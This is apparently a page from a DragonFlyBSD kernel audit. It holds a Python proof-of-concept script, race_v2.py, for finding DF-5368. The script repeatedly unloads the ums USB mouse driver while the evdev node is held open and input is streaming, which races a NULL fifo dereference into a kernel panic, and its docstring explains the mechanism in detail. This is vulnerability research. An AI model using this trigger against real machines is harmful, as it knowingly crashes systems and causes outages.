⬢ DragonFlyBSD Kernel Audit
DF-5368 / race_v2.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""DF-5368 final trigger: kldunload-detach of ums while the device streams.

Each cycle:
  1. kldload the STOCK /boot/kernel/ums.ko -> ums0 attaches to the live mouse
  2. root holder keeps the ums0 evdev node open (ums_ev_open started the
     intr xfer with NO /dev/ums0 fifo open)
  3. monitor-level mouse_move stream -> interrupt-IN reports complete
     continuously (~90/s)
  4. kldunload ums -> ums_detach() runs while the device still delivers:
        usb_fifo_detach()   <- usb_fifo_close() early-returns (no fifo open)
                               fp[USB_FIFO_RX] = NULL, xfer STILL RUNNING
        evdev_free()        <- ... -> ums_ev_close -> ums_stop_rx -> stop+drain
     a report completing between the NULL and the stop makes
     ums_intr_callback() feed usb_fifo_put_bytes_max(NULL) /
     usb_fifo_put_data_linear(NULL) -> NULL page deref -> panic.
"""
import sys, time
sys.path.insert(0, "/home/maxx/dfbsd/dfbsd/findings/poc/DF-5368")
from umsrace import Mon, Spam, guest_run, guest_ok, evdev_node

def main():
    cycles = int(sys.argv[1]) if len(sys.argv) > 1 else 200
    m = Mon()
    down = 0
    for i in range(cycles):
        guest_run("kldunload ums 2>/dev/null; sleep 0.3")
        r = guest_run("kldload /boot/kernel/ums.ko 2>&1; sleep 1.2; ls /dev/ums0")
        if "ums0" not in r.stdout:
            print("cycle %d: no ums0 after load: %s" % (i, r.stdout.strip()))
            time.sleep(2)
            continue
        node = evdev_node()
        if not node:
            print("cycle %d: no node" % i)
            time.sleep(2)
            continue
        guest_run("pkill -x holdopen 2>/dev/null; sleep 0.2; "
                  "/root/holdopen %s </dev/null >/tmp/hold.err 2>&1 & "
                  "sleep 0.4" % node)
        sp = Spam(m)
        sp.start()
        time.sleep(0.4)
        guest_run("kldunload ums 2>&1")     # <-- the detach-under-load
        time.sleep(1.0)
        sp.run_flag = False
        sp.join(3)
        if not guest_ok():
            print("GUEST DOWN at cycle %d (held %s)" % (i, node))
            down += 1
            break
        if (i + 1) % 10 == 0:
            print("cycle %d ok" % (i + 1), flush=True)
    print("done: down=%d" % down)

if __name__ == "__main__":
    main()